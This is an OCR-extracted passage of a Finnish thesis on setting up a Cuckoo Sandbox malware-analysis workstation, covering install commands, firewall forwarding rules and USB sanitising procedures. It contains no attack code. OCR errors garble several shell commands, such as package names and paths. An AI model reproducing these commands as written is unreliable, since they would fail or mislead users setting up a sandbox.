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Taulukot

Taulukko 1. Kannettavan tietokoneen tekniset ominaisuudet



Terminologia

FORMATOINTI
GT

ISO-TIEDOSTO
TIETOKONEVIRUS
MATO

MONGODB

PIILOHAITTAOHIELMA

SCAREWARE
TROIJALAINEN

VAKOILUOHJELMA

VIRTUAALIKONE

VIRTUALBOX

Alustus
Gigatavu

Levykuva, virtuaalinen kopio (ohjelmiston) asennuslevyk-
keesta

Haittaohjelma, joka leviaa tietokoneesta toiseen monista-
malla itsedan

Haittaohjelma, joka leviaa tietokoneesta toiseen auto-
maattisesti

Alustariippumaton dokumenttiorientoitunut tietokanta

Ohjelma, joka asentuu uhrin tietokoneelle hyokkadjan saa-
tua tietokoneen hallintaansa

Haittaohjelma, jonka tarkoitus on pelotella uhriaan
Viattomaksi naamioitu haittaohjelma

Haittaohjelma, joka keraa tietokoneen kayttajasta tietoa
ilman kayttajan suostumusta

Tietokone, joka on toteutettu ohjelmallisesti

IImainen tietokoneohjelma ohjelmien ja kayttojarjestel-
mien virtualisoimiseen



1 Johdanto

Opinndytetyon tarkoituksena oli kehittaa toimeksiantajalle forensiikkaty6asema. Tyo-
asemalle haluttiin mahdollisten haittaohjelmien ja tiedostojen automaattinen analy-
sointijarjestelma. Tahan tarkoitukseen valikoitui avoimen ldahdekoodin ohjelmisto
Cuckoo Sandbox. Kayttojarjestelma, jolla suoritetaan tiedostojen analysointi, tuli vas-
tata yleisinta toimeksiantajan ympariston kayttojarjestelmaa. Taten kayttojarjestel-
maksi valikoitui 64-bittinen Windows 10. Lisaksi tiedostojen analysointiin tuli kehittaa
kayttoprosessit ja kuvata nama prosessikaaviolla. Cuckoo Sandboxin asennus seka
prosessit on kirjoitettu ohjeen muotoon, jotta niitd voidaan kayttdaa myos tulevaisuu-

dessa mahdollisiin uusiin projekteihin.

Opinndytetyo keskittyy enimmakseen Cuckoo Sandboxin kayttéonottoon ja sen kay-
tossa tarvittaviin prosesseihin. Lisdaksi opinndytetyon testaamiseen tarjoutui ainutlaa-
tuinen mahdollisuus kayttaa sitd osana Kansallista kyberturvallisuusharjoitusta 2019
valtionhallinto (KYHA19vh). Opinnaytetyon tilannut julkishallinnon organisaatio ha-

lusi pysya nimettomana.

2 Tutkimusmenetelma

Opinndytetyon tavoitteeksi asetettiin saada vahintaan prototyyppitasoinen digitaali-
seen forensiikkaan tarkoitettu tydasema, joka helpottaisi ja nopeuttaisi haittaohjel-
mien analysointia. Tavoitteena oli myos kehittaa kayttoprosessit USB-muistitikun
kdytolle tiedostojen siirtoon forensiikkatydasemalle sekd tiedostojen poistamiseen
USB-muistilta. Tasta syystad opinnaytetyon tutkimusmenetelmaksi valikoitui toiminta-
tutkimus, joka on laadullisen tutkimuksen suuntaus. Tutkimuksessa pyritaan kehitta-
maan tilaaja organisaation toimintatapoja ja prosesseja. Opinndytetyon paapaino on
ratkaisujen l0ytdamisessa ja se soveltaa jo olemassa olevaa tietoa tydaseman kehitta-

miseen (Miettinen & Tuunanen 2010).



Lisdksi opinnaytetyo pyrkii vastaamaan seuraaviin kysymyksiin: Miten forensiikkatyo-
asemaa voidaan hyddyntaa kyberturvallisuusharjoituksessa ja taten osana organisaa-

tion havannointikykya? Miten forensiikkatydasemaa voitaisiin kehittaa jatkossa?

3 Forensiikka ja haittaohjelmat

Informaatioteknologia on ottanut viime vuosina suuria harppauksia eteenpain. Alati
digitalisoituvassa maailmassa kyberuhkien maara lisaantyy koko ajan, ja organisaa-
tioiden on pystyttava lisddmaan valmiuttaan havainnoida ja torjua naita uhkia. Osaksi
kyberuhkien torjuntaa ja selvitystyota organisaatiot voivat kehittaa itselleen digitaali-
seen forensiikkaan keskittyneen ympariston ja/tai tydaseman. (Ali, Hossain & Pravez

2017, 1).

Sana forensiikka tulee englanninkielen sanasta ”"forensic”, joka tarkoittaa oikeusopil-
lista. Englannin kielessa kaytetaan termia “computer forensics” (suom. tietokonefo-
rensiikka) tai ”digital forenics” (suom. digitaalinen forensiikka) selvitettaessa mahdol-
lista tietomurtoa tai mita mahdollinen rikollinen on tehnyt hanen omallaan tai jon-
kun toisen koneella. Suomen kielessa taman tyyppisesta forensiikasta puhuttaessa

kaytetdaan yleensa termia digitaalinen forensiikka. (Forensiikkaa 2015.)

Forensiikkatutkimustyon prosessi sisaltda kolme paakohtaa: todisteiden hankinta,
hankittujen todisteiden analysointi ja [6ydoksien raportointi. Suurin osa tydkaluista
tarjoaa ratkaisut kahteen ensimmaiseen kohtaan, mutta raportoinnin hoitaa ihmi-
nen, analysoija. Tehokas forensiikka-alusta antaa tyokalut analysoijalle nadihin kaikkiin
kohtiin. Tulokset, jotka alustalla on saatu aikaan, tulisi olla kdytettavia, kattavia, tark-

koja ja todistettavissa olevia. (Kovacs 2019, 2-3.)

Muistiforensiikka on osa digitaalista forensiikkaa. Jokainen funktio, jonka kayttojar-
jestelma tai ohjelma suorittaa tietokoneella, varaa tilaa tietokoneen keskusmuistista
(engl. random-access memory (RAM)). Varattu tila voi sailya vield kauan funktion suo-

rittamisen jalkeen. Taman takia muistivedos voi kertoa paljon tapahtuneista asioista
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tietokoneella. Se kertoo esimerkiksi, mita prosesseja tietokoneella oli kdynnissa, avoi-
met yhteydet internetiin seka ldhiaikoina suoritetut komennot. Muistivedoksesta voi-
daan myos saada esille kriittisen tason informaatiota kuten kovalevyjen salausavai-
met, pikaviestiohjelmien seka sahkopostikeskusteluja. Naita tietoja voidaan kerata
muistivedoksesta ilman tutkimustydaseman saastumisen pelkoa, jos esimerkiksi
muistivedos on otettu tietokoneesta, jonka epailladn olevan viruksen saastuttama.
Muistivedos antaa kokonaiskuvan saastuneen tietokoneen tapahtumista saastumista

ennen, sen aikana ja sen jalkeen. (Case, Hale Ligh, Levy, Walters 2014, xviii.)

Haittaohjelmat ovat suuressa osassa tietokoneille tunkeutumisissa ja tietoturvapoik-
keamissa. Mika tahansa ohjelma, joka aiheuttaa harmia kayttdjalle, tietokoneelle ja
verkolle, voidaan luokitella haittaohjelmaksi kuten tietokonevirukset, troijalaiset, ma-
dot, piilohallintaohjelmat, scarewaret ja vakoiluohjelmat. (Honig & Sikorksi 2012,

XXviii.)

Haittaohjelmien analysoinnilla (engl. malware analysis) tarkoitetaan haittaohjelman
pilkkomista osiin. Taman tarkoituksena on haittaohjelman tunnistaminen, sen toi-
minnan tutkiminen seka sellaisten toimintojen selvittdminen, joilla haittaohjelma
mahdollisesti poistetaan. Haittaohjelmien analysointi voidaan jakaa kahteen osaan:
staattiseen ja dynaamiseen analysointiin. Staattisella analysoinnilla tarkoitetaan hait-
taohjelman tutkimista ilman, etta sita kdynnistetaan. Dynaamisella analysoinnilla
taas tarkoitetaan haittaohjelman analysointia, kun haittaohjelma on kaynnistettyna.

(Honig & Sikorksi 2012, 1-5.)

Manuaalisen eli staattisen haittaohjelman analysointiin kuluu yleensa liian pitka aika.
Hektisessa tilanteessa kuten kyberhyokkayksen alla on pystyttava toimimaan ja ra-
kentamaan tilannekuvaa nopeasti. Tallaisessa tilanteessa omiaan ovatkin automaatti-
seen haittaohjelmien analysointiin tarkoitetut ohjelmistot. (Borges de Andrade,

Duarte & Gomes de Mello 2013, 1.)

Automaattiset haittaohjelmien analysointiohjelmistot kayttavat yleensa hyvaksi niin

sanottua Sandbox-tekniikkaa (suom. hiekkalaatikko). Sandbox-tekniikka kayttaa hy-



vakseen virtualisoitua ymparistod. Tama tarkoittaa sitd, etta haittaohjelmat suorite-
taan turvallisessa eristetyssa virtualisoidussa ymparistossa, jolloin haittaohjelma ei
kayta isantakoneen verkkoresursseja eika padse vahingoittamaan isantakoneen tie-
dostoja. Taten tdman tapaista tekniikkaa on turvallista kdyttda myos organisaatioiden
kaytossa. Automaattiseen haittaohjelmien analysointiin on useita avoimen lahdekoo-
din ohjelmistoja, joita organisaatiot voivat ottaa halutessaan kayttoonsa vapaasti.

(Jamalpur, Navya, Raja, Rao & Tagore 2018.)

4 Madrittely

Tiedostojen analysointiin valikoitui avoimenldahdekoodin Cuckoo Sandbox, joka on
automaattinen haittaohjelmien analysoija. Cuckoo Sandboxin avulla voidaan tehda
staattista ja dynaamista tiedostojen seka internetlinkkien analysointia helposti, koska
analysointi on automatisoitu. Lisdksi tydasema sisaltda tyokaluja ja ohjelmistoja,

jotka antavat lisatukea haittaohjelmien tutkimiseen, mikali tarvetta.

Kayttojarjestelmaksi, jolla Cuckoo suorittaa haittaohjelmat, maaritettiin 64-bittinen
Windows 10. Tarkoitus on ndahda, mita haittaohjelma mahdollisesti tekee Windows
10 -ymparistdssa eika niinkdan saada valttamatta haittaohjelmaa toimimaan haitta-
ohjelman tarkoitetulla tavalla. Ndin voidaan todeta, onko haittaohjelma vaarallinen
toimeksiantajan kayttoymparistossa. Tarpeelliseksi todettiin myos mahdollisuus eri-
naisten tydasemien muistivedoksien (engl. memory dump) tutkimiseen, jota kutsu-
taan muistiforensiikaksi (engl. memory forensics). Tahan tarkoitukseen forensiikka-

tydasemalle asennettiin myos Volatility-j a Foremost-nimiset ohjelmat.
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5 Toteutus

5.1 Tydasema

Tyoasemaksi valikoitui tydasema, joka oli toimeksiantajalta saatavilla. Prototyyppitar-
koitukseen tydaseman ei tarvitse olla paras mahdollinen. Toteutus tehtiin kannetta-
valle tietokoneelle. Kannettavan tietokoneen tekniset ominaisuudet on listattu taulu-

kossa 1.

Taulukko 1. Kannettavan tietokoneen tekniset ominaisuudet

Tybaseman kovalevylle on tehty kaksoiskdynnistysasetus. Kaksoiskdynnistysasetus
tarkoittaa, etta tydasemalla on kaksi tai useampi kayttojarjestelma asennettuna.
Tassa tapauksessa tydasemalle on asennettu kaksi kayttojarjestelmaa. Toisena kayt-
tojarjestelmana toimii Windows 10, jolle on allokoitu 150 Gt tilaa, ja toisena kaytto-
jarjestelmana Linux Ubuntu 18.04 LTS, jolle on allokoituna 100 Gt tilaa. Ubuntu vali-
koitui kaksoiskaynnistyksen toiseksi kayttdjarjestelmaksi, koska sita suositellaan kay-

tettavaksi isdntakayttojarjestelmana (engl. Host OS) Cuckoon kanssa.

Ubuntu-kayttdjarjestelman tarkoituksena on toimia haittaohjelmien automaattiseen

analysointiin yhdessa Cuckoon kanssa. Ubuntun puolella toimii myés Windows 10 -
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virtuaalikone, jota Cuckoo kdyttda haittaohjelmien analysointiin. Windows 10 -isénta-
kayttojarjestelman puolella toimii taas Kali Linux virtuaalisesti, joka tarjoaa valmiina

monia tydkaluja haittaohjelmien staattiseen analysointiin (ks. kuvio 1).

Kali WM
Windows 10
Cual boot
Ubuntu LTS 15.04
Cuckoo Malwa
Analysis
Windows
10WM

Kuvio 1. Kayttojarjestelmat

5.2 Ohjelmat

5.2.1 Cuckoo Sandbox

Cuckoo Sandbox on suosituin avoimen ldhdekoodin haittaohjelmien automaattiseen
tiedostojen ja internetlinkkien analysoitiin tarkoitettu jarjestelma. Cuckoo Sandbox
voi analysoida epailyttavat tiedostot tai internetlinkit minuuteissa ja generoi analyy-
seista raportit. Raportilla on tietoja ohjelman tai internetlinkin toiminnasta tietoko-

neella kuten esimerkiksi, yhdistddko se epailyttaviin IP-osoitteisiin tai tekeeko se
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kayttojarjestelman rekisteriin muutoksia. Cuckoo arvioi asteikolla 0-10 onko tiedosto

tai internetlinkki mahdollisesti haitallinen vai ei. (What is Cuckoo?. n.d.)

5.2.2 Kali Linux

Ty6asemalla on Kali Linux virtualisoituna Windows 10 -kayttojarjestelman sisalla. Kali
Linux on Debian-pohjainen Linux distribuutio. Se sisdltda valmiina monta sataa tyoka-
lua seka ohjelmaa, joiden kayttotarkoitus liittyy tietoturvaan, penetraatiotestauk-
seen, digitaaliseen forensikkaan ja takaisinmallintamiseen. Naista tyokaluista hyodyl-
lisimpia digitaalista forensiikkaa ajatellen ovat muun muassa (Chandel 2018; What is

Kali Linux? n.d.):

Autopsy
o Kaytetdan levykuvien tutkimiseen. Eri maiden armeijat ja viranomais-
tahot kayttavat Autopsya forensiikkaselvitystyohon.
e Binwalk
o Kaytetdan binadritiedostojen tutkimiseen. Sen avulla tiedostoista voi
[6ytaa naihin sulautettuja tiedostoja tai ohjelmien koodia.
e Bulk Extractor
o Bulk Extractor voi l6ytaa arkaluontoista tietoa sahkoépostiosoitteista,
linkeista, maksukorttinumeroista ja niin edelleen.
e Chkrootkit
o Tarkistaa isantakoneen piilohaittaohjelmien varalta, mikali hyokkaaja
on saanut tietokoneen hallintaansa.
e Foremost
o Voi loytaa poistetut tiedostot formatoidulta kovalevylta tai muistive-
doksesta.
o Galleta
o Evasteiden jaljittamiseen tarkoitettu tyokalu. Tallentaa evastetiedot
erilliseen taulukkoon.
e Hashdeep
o Tiivistetietojen kasittelyyn tarkoitettu tydkalu. Eritoten MDS5 ja SHA-
256 tiivistetietojen kasittelyyn tarkoitettu.
e Volafox
o Muistin analysointiin tarkoitettu tydkalu. Eritoten MAC OS X -kaytto-
jarjestelman muistitiedostojen tutkimiseen tarkoitettu.
e Volatility
o Yksi suosituimmista muistiforensiikan tutkimiseen tarkoitettu tyokalu.
Kaytetdan muistivedosten analysointiin.
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5.3 Cuckoo Sandbox asennus

Cuckoon asennuksessa kaytetdaan hyvaksi VMCloak-nimistd automatisointityokalua,
joka automatisoi suuren osan Cuckoo Sandbox -ymparistén asennuksesta. Taten

asennuksessa saastyy paljon aikaa ja vaivaa. (Welcome to Vmcloak n.d.)

Ennen Cuckoon asennusta tulee tydasemalle asentaa tietyt paketit ja kirjastot.

(Cuckoo Sandbox Quickstart n.d.; Cuckoo Sandbox Book 2018.)

Paketit asennetaan seuraavin komennoin:

$ sudo apt-get install python python-pip python-dev
libffi-dev libssl-dev

$ sudo apt-get install python-virtualenv python-setuptools
$ sudo apt-get install libjpeg-dev zliblg-dev swig

Mikali Cuckoon web-pohjaista kayttoliittymaa halutaan kayttaa, tulee tydasemalle

asentaa MongoDB. (Web interface n.d.)

MongoDB asennetaan tydasemalle komennolla:

$ sudo apt-get install mongodb

PostgreSQL-tietokannan kayttéonotto vaatii seuraavan komennon:

$ sudo apt-get install postgresgl libpg-de

Mikali Cuckoon halutaan tallentavan haittaohjelman aiheuttamaa verkkoliikennetts,

tulee tydasemalle asentaa Tcpdump-ohjelma komennolla

$ sudo apt-get install tcpdump apparmor-util

Tcpdump-ohjelman ajo vaatii root-oikeudet toimiakseen. Cuckoota ei kuitenkaan saa

ajaa root-oikeuksilla, joten oikeudet tarvitsee maarittaa kdsin komennolla
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$ sudo setcap cap _net raw,cap _net admin=eip
/usr/sbin/tcpdump

Mikali Setcap-ohjelma ei ole asennettuna voi sen asentaa seuraavalla komennolla:

$ sudo apt-get install libcap2-bin

Tybasemalle asennetaan myos YARA. YARA on tyokalu, joka tunnistaa ja luokittelee
haittaohjelmia ja toimii yhteydessa Cuckoon kanssa. (Cuckoo-yara-auto & cuckoo in-

stall guide 2018.; YARA in a nutshell n.d.)

YARA asennetaan seuraavasti komennoilla

$ apt install dh-autoreconf flex bison libjansson-dev
libmagic-dev -y

$ cd /root/Downloads/ && wget https://github.com/VirusTo-
tal/yara/archive/v3.7.1.tar.gz

$ tar -zxf v3.7.l.tar.gz && cd yara-3.7.1/

$ ./bootstrap.sh && ./configure --with-crypto --enable-
cuckoo --enable-magic

S make && make install

Seuraavaksi tydasemalle tulee asentaa VritualBox, jonka avulla Cuckoo analysoi mah-
dollisen haittaohjelman. Mikali tydasemassa, jolle Cuckoo asennetaan on BIOSin Se-
cure Boot -asetus paalla, tulee tama ottaa pois paalta, jotta VirtualBox suostuu asen-
tamaan virtuaalikoneita. Taman jalkeen asennetaan itse Cuckoo ja VMCloak komen-

noilla

$ sudo apt-get install virtualbox
$ sudo pip install -U cuckoo
$ sudo pip install VMCloak

Asennusten jalkeen Cuckoo taytyy kdynnistaa kertaalleen, jotta konfiguraatiotiedos-

tot asentuvat koneelle. Tama tehdaan komennolla

$ cuckoo

VMCloak vaatii hostonly-rajapinnan nimelta "vboxnet0” kommunikoidakseen virtuaa-

likoneen kanssa. Tama luodaan seuraavilla komennoilla:



15

$ VBoxManage hostonlyif create
$ VBoxManage hostonlyif ipconfig vboxnet0 --ip
192.168.56.1

Taman jalkeen ISO-tiedosto, jota Cuckoon kanssa halutaan kayttaa, kiinnitetaan kan-
sioon. Toimeksiantajan vaatimusten mukaan kayttojarjestelma, jolla suoritetaan ana-
lysointia, tulee olla Windows 10 64-bittinen kayttojarjestelma. ISO-tiedoston kiinnitys

kansioon tapahtuu seuraavilla komennoilla:

$ sudo mkdir -p /mnt/winl0/
$ sudo mount -o loop,ro WIN1O.iso /mnt/winlO/

Seuraavaksi virtuaalitydasema alustetaan VMCloakin kanssa komennolla

$ vmcloak init --winlOx64 winlO 0

Asenna tarvittavat ohjelmat virtuaalitybasemaan komennolla

$ vmcloak install winlO 0 adobepdf chrome dotnet flash
java python silverlight

Taman jalkeen virtuaalikoneesta otetaan tilannekatsaus (engl. snapshot) Cuckoon

kayttoon:

$ vmcloak snapshot winlO 0 cuckool

On huomioitavaa, etta Windows 10 -virtuaalikonetta kaytettdessa tulee koneen ase-
tuksista ottaa Windowsin Defender-palomuuri seka User Access Control (UAC) pois
paalta. Talléin haittaohjelmien analysointien tulokset ovat luotettavampia (ks. kuviot

2&3).



® Windows Defender Firewall

« =2 v 4 7> Control Panel All Control Panel ltems Windows Defender Firewall

Help protect your PC with Windows Defender

Control Panel Home

Windows Defender Firewall can help prevent hackers or mal
Allow an app or feature through the Internet or a network,
through Windows Defender

Fi Il .
e . o Private networks

G Change notification settings

B Turn Windows Defender Metworks at home or work where you know and trust the ¢
Firewall on or off

Kuvio 2. Palomuuri pois paalta

¥ User Account Control Settings — O >

Choose when to be notified about changes
to your computer

User Account Control helps prevent potentially harmful
programs from making changes to your computer.
Tell me more about User Account Control settings

Albways notify

Never notify me
when:

®  Appstryto
- - install
software or
make changes
to my
— — computer

* | make
changes to
Windows
settinos

Mever notify

| &ok || Concel

Kuvio 3. UAC pois paalta

Asenna tuoreimmat haittaohjelmatunnisteet Cuckoon kayttéon komennolla

$ cuckoo community

Nyt Cuckoo on valmis kayttéon. Cuckoon voi kdynnistaa seuraavalla komennolla:

16
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S cuckoo

Toiminnan voi testata lahettamalla linkin Cuckoon analysoitavaksi Linuxin terminaalin

kautta. (Oktavianto & Muhardianto 2013, 35-37.)

Linkki lahetetaan seuraavalla komennolla:

$ cuckoo submit --url http://esimerkki.fi

Analyysin raportti muodostuu kansioon /home/USER/.cuckoo/storage/analyses/. En-

simmainen analyysi muodostuu kansioon 1, seuraava kansioon 2 ja niin edelleen.

Selainpohjaisen kayttoliittyman saa kayntiin muokkaamalla polusta
/home/USER/.cuckoo/conf/ 16ytyvaa reporting.conf-tiedostoa. “[mongodb]”-kohdan

alla on "enabled”-kohta, jonka arvo “no” muutetaan arvoon “yes” (ks. kuvio 4).

[mongodb]
enabled = yes
host = 127.68.0.1

port = 27017

db = cuckoo
store_memdump = yes
paginate = 100

Kuvio 4. Reporting.conf

Taman jalkeen Cuckoo kdynnistetdan normaalisti. Lisaksi kdynnistetaan web-kaytto-

liittyma omassa terminaali-ikkunassaan.

$ cuckoo
$ cuckoo web runserver

Mikali muita asetuksia ei muutettu, toimii Cuckoo nyt selaimessa osoitteessa

http://127.0.0.1:8000 (ks. kuvio 5).
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~ Cuckoo Sandbox

& c @ ® 127, 80 A +4 m o =

cuckgotz” 2 Recent ¢ Pending Q Search Submit Import

Cuckoo Installation

Usage statistics

System info m

From the press:

Click here for more
95.6 GB 4 cores 7.56GB

Kuvio 5. Cuckoon selainkayttoliittyma

Mikali virtuaalikoneen halutaan saavan yhteys internetiin, tulee isdntakoneelle tehda
muutoksia palomuurisdaantoihin. Isdantakoneen internetrajapinnan liikenne ohjataan

virtuaalikoneen rajapintaan vboxnet0. (Anicas 2015.)

Palomuurisdadantojen muutokset tehdaan seuraavilla komennoilla:

$ sudo iptables -A FORWARD -o enp0s31f6 -i vboxnet0 -s
192.168.56.0/24 -m conntrack --ctstate NEW -j ACCEPT
$ sudo iptables -A FORWARD -m conntrack - -ctstate
ESTABLISHED, RELATED -3j ACCEPT

$ sudo iptables -A POSTROUTING -t nat -j MASQUERADE

Tybasemalle on tehty erilliset skriptit, joiden avulla palomuurisdannot on helppo ot-
taa kayttoon ja pois kaytosta, mikali analyyseissa halutaan kayttdaa myds internetyh-

teytta (ks. liitteet 1 & 2).

Lisaksi asetus tiedostosta /etc/sysctl.conf taytyy ottaa kdyttoon poistamalla risuaita

seuraavan rivin edesta:
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# net.ipv4.ip forward =1

Tybasemalla on my6s skripti, jolla palomuuriasetukset saadaan poistettua yhdella ko-

mennolla. Komennot ovat seuraavat:

$ sudo iptables -D FORWARD 2
$ sudo iptables -D FORWARD 1
$ sudo iptables -t nat -D POSTROUTING 1

5.4 Verkkoyhteydet

Tybasema pidetdadn yrityksen omasta tuotantoverkosta taysin erilladn. Tydasema yh-
distetaan erilliseen verkkoon kaikista muista verkoista, joka on suojattu palomuurilla.
Tama estda tuotantoverkon saastumisen, mikali forensiikkatydasemalta haittaoh-
jelma paasisi leviamaan verkossa, koska verkko on taysin erilldan tuotantoverkosta.
Erillisessa verkossa olevia koneita ei yhdisteta eika pystyta yhdistamaan tuotanto-
verkkoon edes vahingossa. Tama ennaltaehkaisee mahdollisen vahingon sattumista.
Taten forensiikkatybasemaa ei voi edes vahingossa kytkea tuotantoverkkoon ja tata

kautta haittaohjelma ei paase yrityksen sisaverkkoon leviamaan.

6 Kayttotapaukset ja niiden prosessit

Kayttotapaukset ja skenaariot on maaritelty suullisilla keskusteluilla toimeksiantajan
edustajien kanssa useissa eri palavereissa. Tarpeellisiksi kayttotapauksiksi tunnistet-
tiin seuraavat: ulkoisen USB-muistin kaytté osana tiedostojen analysointia sekd mah-

dollisten haittaohjelmien tutkiminen.

6.1 Ulkoisen USB-muistin kayttd osana tiedostojen analysointia

6.1.1 Maarittely

Analysoitavien tiedostojen (esim. haittaohjelmat) siirtdmiseen tulee maarittaa erilli-

nen vain tahan kayttotarkoitukseen tarkoitettu USB-muisti (esim. USB-muistitikku).
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USB-muisti tulee merkata selvasti (esim. avaimenpera), jotta sita ei kdytetd muuhun
tarkoitukseen kuin analysoitavien tiedostojen siirtdmiseen. USB-muistin toinen puoli
merkataan punaisella ja toinen puoli vihreadlla. Punainen vari pidetadan esilla, kun
USB-muisti sisdltda tiedoston ja ei ole formatoitu tai kun USB-muisti on tyhja, mutta
ei ole formatoitu. Vihrea puoli pidetaan esilla, kun USB-muisti on tyhja seka for-
matoitu, ei missadan muussa tilanteessa. Lisdaksi USB-muistin tyhjentdmista varten tu-
lee maarittaa erillinen tietokone (puhdistustydasema), jota ei kytketa internettiin
missdan vaiheessa, ja sen ainut kdyttotarkoitus on toimia USB-muistin tyhjentamista

varten.

6.1.2 Kayttdéprosessi

Tyhja ja formatoitu USB-muisti kytketdan tietokoneeseen, josta haluttu analysoitava
tiedosto halutaan siirtaa forensiikkatyoasemalle. Tiedosto siirretdaan USB-muistille,
minka jalkeen USB-muisti kytketaan forensiikkatydasemaan. Analysoitava tiedosto
analysoidaan suoraan USB-muistilta, minka jalkeen tiedosto poistetaan USB-
muistilta. USB-muisti kytketaan irti forensiikkatydasemasta. Taman jalkeen USB-
muisti kytketdan heti puhdistustytasemaan, jolla se formatoidaan. USB-muisti saily-
tetdan puhdistustydaseman valittomassa laheisyydessa. Mikali USB-muisti 10ytyy
muualta kuin puhdistustydaseman valittomasta laheisyydesta tai on pienikdan epai-

lys tikun sisallosta, tulee se formatoida puhdistustydasemalla ennen sen kayttoa.

Prosessi on kuvattu kuviona 6.
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1. Fﬂrmatoit‘kaSE—muisti [ 3. Analysoitajan tiedoston
sisdltava YsB-muisti

2. Analysoitava tiedosto
tallennetaan LISB-muistille
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5. Tyhja UsSB-musti R —
6. USB-muisti formatoidaan 4 Tiedosto analysoidaan
puhdistustietokoneella forensiikkatybasemalla ja

poistetaan USB-muistilta
Kuvio 6. Ulkoisen USB-muistin kdyttoprosessi

6.1.3 USB-muistin formatointi (Windows)

USB-muistin formatointiin voidaan kayttaa tydasemaa, jossa on Windows-kayttojar-
jestelma. Formatoinnissa kaytetdan Windows-kayttojarjestelman sisddanrakennettua
Microsoft DiskPart -ohjelmistoa. Ohjelmisto toimii komentokehotteen kautta. For-

matointi suoritetaan seuraavan ohjeen mukaisesti (Jean 2018.):

Komentokehote kdaynnistettdaan kaynnistav-alikosta admin-oikeuksin painamalla hii-

ren oikealla painikkeella “Run as administrator” (ks. kuvio 7).

- Command Prom

pt
Desktop a

Kuvio 7. Komentokehotteen kaynnistys
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Komentokehotteeseen kirjoitetaan komento "diskpart” ja painetaan Enter-nap-
paintd, jolloin uusi ikkuna aukeaa ja Microsoft DiskPart -ohjelma kdynnistyy (ks. kuvio

8).

C:AWINDOWS\system32>diskpart

Kuvio 8. Diskpart-komento
Tassa vaiheessa USB-muisti tulee kytkea puhdistustytoasemaan. DiskPart-ikkunassa
komennolla “list disk” saadaan yhdistetyn massamuistit nakyviin. ”Select disk”-ko-

mentoa kdytetdaan halutun USB-muistin valikoimiseen (ks. kuvio 9).

DISKPART> list disk

[av]

Online
Online
Online
Online
Online

e

4
=1

ey

DISKPART> select disk 4

Disk 4 is now the selected dis

Kuvio 9. List disk ja select disk -komennot

USB-muistin valikoimisen jalkeen USB-muisti puhdistetaan komennolla “clean”. Ta-
man jalkeen luodaan ensisijainen osio USB-muistille komennolla “create partition pri-

mary”, joka aktivoidaan kayttéon komennolla “active” (ks. kuvio 10).



DISKPART

cleaning the disk.

DiskPart

DISKPART» e partition primary
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DiskPart Ci in creating the ecified partition.

DISKPART> at

DiskPart marked the current partition

Kuvio 10. Clean-, create partition primary- ja active-komennot

Taman jalkeen USB-muisti formatoidaan haluttuun tiedostojarjestelmaan (NTFS,

FAT32 tai exFAT) komennolla “format fs=ntfs label="haluttu nimi””. Lopuksi USB-

muistille maaritetaan kiinnityskohde eli kirjain komennolla ”assign” (ks. kuvio 11).

DISKPART > format fs=ntfs label="USBE-muisti"
ercent completed
fully formatted the volume.

rl'-'d

Kuvio 11. Format- ja assign-komennot

the drive letter

or mount point.

Taman jalkeen USB-muisti poistetaan tydasemasta hallitusti Windowsin tehtavapal-

kin kautta (ks. kuvio 12).

il Open Devices and Printers

= Eject USB 2.0 FD

Kuvio 12. USB-muistin poisto
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6.1.4 USB-muistin formatointi (Linux)

Vaihtoehtoisesti voidaan kadyttaa Linux-pohjaista GParted nimista osioiden muok-
kausohjelmaa. GParted voidaan suorittaa erilliseltd massamuistilta. Talléin puhdistus-
koneelle ei tarvitse asentaa omaa kayttojarjestelmaa, ja nain tydasema ei paase saas-
tumaan mahdollisen haittaohjelman my6ta. Seuraavana on ohjeistettu GPartedin

kaytto erilliseltd massamuistilta. (Fleetwood n.d.)
Tybasema kdynnistetdan massamuistilta, joka sisaltda GParted-ohjelmiston. GParted

kysyy ensimmaisena, milla tavalla GParted halutaan kaynnista. Valikoimalla GParted

Live (Default settings)-vaihtoehdon GParted kdaynnistyy massamuistilta (ks. kuvio 13).

FlbEngivede: Geepes Byy (LS) zipaee )yl -

HHlE-mochine
oy B33 -2 BT IRe e eraion. madnta iners:
Aanted! Uive comes ifEH ABFSITAITEILLY. N HARRKANTY

Kuvio 13. GParted Live (Default settings)

Seuraavaksi GParted kysyy, halutaanko maarittaa erilliset ndppadimiston asetukset.

Tama voidaan ohittaa valikoimalla “Don’t touch keymap” (ks. kuvio 14).
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) ——

The keymap records the layout of syebols on the keyboard. .

‘Select keymap from arch 1ist : select
specific for wour archltecture (recosmended for non-USE keubosrds):
‘Don’t touch keymap': don't overerite the kKeymap in
which 15 maintained manually with install-keymap(a):
'‘Keep kernel keumap’:

the system boo1s:

one of 1he predef ined keymaps
fetc/console,

prevent andy keysap from being loaded next

‘Salect keymap from full 1ist’: 1ist all the predefined keymaps.
Recommended when using cross-architecture (often USB) keyboards

Folicy for handling keymaps:

Zalect keusap from full 1ist

<k {Cancelr

Kuvio 14. Don’t touch keymap

Taman jalkeen valitaan haluttu kieli kirjoittamalla kielen numero ja painamalla Enter-

painiketta (ks. kuvio 15).

RO ChOR RO R ORISRk

pading language settings:

01: Portuguese (Brazillan) 19: Macedonian
02: British English 20: Norweglan
03: Bulgarlan 21: Nepall

04: Catalan 22: Portuguese

05: Czech 23: Punjabl
e Narkek

24: Russian
07t Finnish 25: Spanish
e 26: Simplified Chinese
09: Galician 27: Sloven

10: German 28: Swedish
11: Greek

29: Traditlonal Chinese (Hong Kong)
12: Hebrew

30: Traditional Chinese (Talwsn)
13: Hungarian 81: Turkish

LH 32: Ukrainian
LH 33: U8 English
16: K

24: vietnamese

17: 35: Polish

18: Latvian

Which language do you prefer 7
(331 o7_

Kuvio 15. Haluttu kieli

Ohjelmisto kysyy, missa tilassa GParted kaynnistetdan. Oletusasetus on 0, joka kdyn-

nistdd GPartedin graafisen kayttoliittyman. Tama voidaan valita painamalla Enter-pai-
niketta (ks. kuvio 16).
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Which mode do wou prefer 7 ,
(0} Continue to start ¥ to use GParted automatically
(1) Run 'Forcevideo' to config X manually

(2) Enter command line prompt
ol _

Kuvio 16. GParted-kaynnistyksen tila

Taman jalkeen GPartedin graafinen kayttoliittyma kdynnistyy ja on valmis
kaytettavaksi. Tyopoydalta l10ytyvan GParted-kuvakkeen kautta itse osiointi-ohjelma

voidaan kdynnistaa.

Ensimmaisena yhdistetdaan haluttu puhdistettava massamuisti tydasemaan, jonka
jalkeen laitelista paivitetadan GParted-valikon kautta valikoimalla ”Paivita laitelista”

(ks. kuvio 17). Tama paivittaa listauksen tydasemassa kiinni olevista massamuisteista.

Kuvio 17. Paivita laitelista
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Seuraavaksi valitaan puhdistettava massamuisti GParted-valikon alta kohdasta ”Lait-

